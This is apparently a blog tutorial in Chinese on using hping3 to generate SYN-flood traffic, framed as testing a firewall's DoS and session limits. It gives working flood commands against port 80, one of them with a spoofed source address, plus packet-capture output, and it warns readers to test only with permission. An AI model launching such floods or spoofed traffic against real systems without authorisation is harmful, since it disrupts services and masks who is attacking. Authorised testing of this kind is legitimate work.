Hping3 – Linux的仿真數據包泛洪攻擊

在針對防火牆對DoS和會話限制能力測試時,Linux 中有一個名為hping3的程序可以產生仿真數據包泛洪攻擊。它可以產生少量的數據包氾濫,同時仍然保持至少50%的CPU可用於管理。

如果我們需要測試SYNC泛洪的會話限製或閾值限製到Web服務器端口80,我們可以使用下面的命令。


# hping3 -i u1 -S -p 80 172.16.1.5
-S – 使用SYN標誌
-p 80 – 目標端口80
-i u1 – 每個數據包之間等待1微秒
根據下面的結果,我們可以看到hping3生成TCP類型的數據包,並將流量作為目的地發送到172.16.1.5的端口80。您也可以關注時間範圍。

21:28:02.108024 IP (tos 0x0, ttl 64, id 30525, offset 0, flags [none], proto TCP (6), length 40)
172.16.2.18.15513 > 172.16.1.5.80: Flags [S], cksum 0x9967 (correct), seq 652361374, win 512, length 0
21:28:02.108067 IP (tos 0x0, ttl 64, id 15118, offset 0, flags [none], proto TCP (6), length 40)
172.16.2.18.15514 > 172.16.1.5.80: Flags [S], cksum 0x7024 (correct), seq 1361228312, win 512, length 0
21:28:02.108123 IP (tos 0x0, ttl 64, id 61360, offset 0, flags [none], proto TCP (6), length 40)
172.16.2.18.15515 > 172.16.1.5.80: Flags [S], cksum 0x471a (correct), seq 651571276, win 512, length 0
21:28:02.108180 IP (tos 0x0, ttl 64, id 10258, offset 0, flags [none], proto TCP (6), length 40)
172.16.2.18.15516 > 172.16.1.5.80: Flags [S], cksum 0x6af3 (correct), seq 954783411, win 512, length 0
21:28:02.108235 IP (tos 0x0, ttl 64, id 20246, offset 0, flags [none], proto TCP (6), length 40)
172.16.2.18.15517 > 172.16.1.5.80: Flags [S], cksum 0xae73 (correct), seq 254599339, win 512, length 0
21:28:02.108298 IP (tos 0x0, ttl 64, id 48823, offset 0, flags [none], proto TCP (6), length 40)
172.16.2.18.15518 > 172.16.1.5.80: Flags [S], cksum 0xbdc9 (correct), seq 1616407911, win 512, length 0
21:28:02.108375 IP (tos 0x0, ttl 64, id 11273, offset 0, flags [none], proto TCP (6), length 40)
^C 172.16.2.18.15519 > 172.16.1.5.80: Flags [S], cksum 0x1cf2 (correct), seq 1226450215, win 512, length 0

但是如果我們想用另一個地址為源地址,那麼我們可以使用“-a”的參數。使用下面的命令,它將代表172.16.9.9將數據包發送到172.16.1.5。
# hping3 -i u1 -S -p 80 172.16.1.5 -a 172.16.9.9
-a – 修改數據包的源地址

21:33:07.911051 IP (tos 0x0, ttl 64, id 3061, offset 0, flags [none], proto TCP (6), length 40)
172.16.9.9.2349 > 172.16.1.5.80: Flags [S], cksum 0xde0b (correct), seq 1951941470, win 512, length 0
21:33:07.911124 IP (tos 0x0, ttl 64, id 21261, offset 0, flags [none], proto TCP (6), length 40)
172.16.9.9.2350 > 172.16.1.5.80: Flags [S], cksum 0xc771 (correct), seq 1069435591, win 512, length 0
21:33:07.911200 IP (tos 0x0, ttl 64, id 55266, offset 0, flags [none], proto TCP (6), length 40)
172.16.9.9.2351 > 172.16.1.5.80: Flags [S], cksum 0x6e94 (correct), seq 1019611718, win 512, length 0
21:33:07.911268 IP (tos 0x0, ttl 64, id 32557, offset 0, flags [none], proto TCP (6), length 40)
172.16.9.9.2352 > 172.16.1.5.80: Flags [S], cksum 0x8b5d (correct), seq 1332710561, win 512, length 0
21:33:07.911379 IP (tos 0x0, ttl 64, id 47624, offset 0, flags [none], proto TCP (6), length 40)
172.16.9.9.2354 > 172.16.1.5.80: Flags [S], cksum 0x624f (correct), seq 1886164219, win 512, length 0
21:33:07.911636 IP (tos 0x0, ttl 64, id 59607, offset 0, flags [none], proto TCP (6), length 40)
172.16.9.9.2358 > 172.16.1.5.80: Flags [S], cksum 0x17a6 (correct), seq 882958296, win 512, length 0
21:33:07.911851 IP (tos 0x0, ttl 64, id 38747, offset 0, flags [none], proto TCP (6), length 40)
172.16.9.9.2362 > 172.16.1.5.80: Flags [S], cksum 0xbb26 (correct), seq 604202905, win 512, length 0
21:33:07.912016 IP (tos 0x0, ttl 64, id 6476, offset 0, flags [none], proto TCP (6), length 40)
172.16.9.9.2365 > 172.16.1.5.80: Flags [S], cksum 0xd48a (correct), seq 1798537797, win 512, length 0

Hping3具有更多先進的包製作功能。我希望上面的信息可以讓您大致了解我們如何使用hping3來測試您的環境或防火牆設置。我將在未來分享更多先進或其他功能。
!!!!請勿在未經許可的情況下進行hping測試。!!!!
!!!!此外,不要在任何NAT設備後面執行地址欺騙,因為數據包的源地址將使用您的公共IP地址的。!!!!

Leave a Reply

Your email address will not be published. Required fields are marked *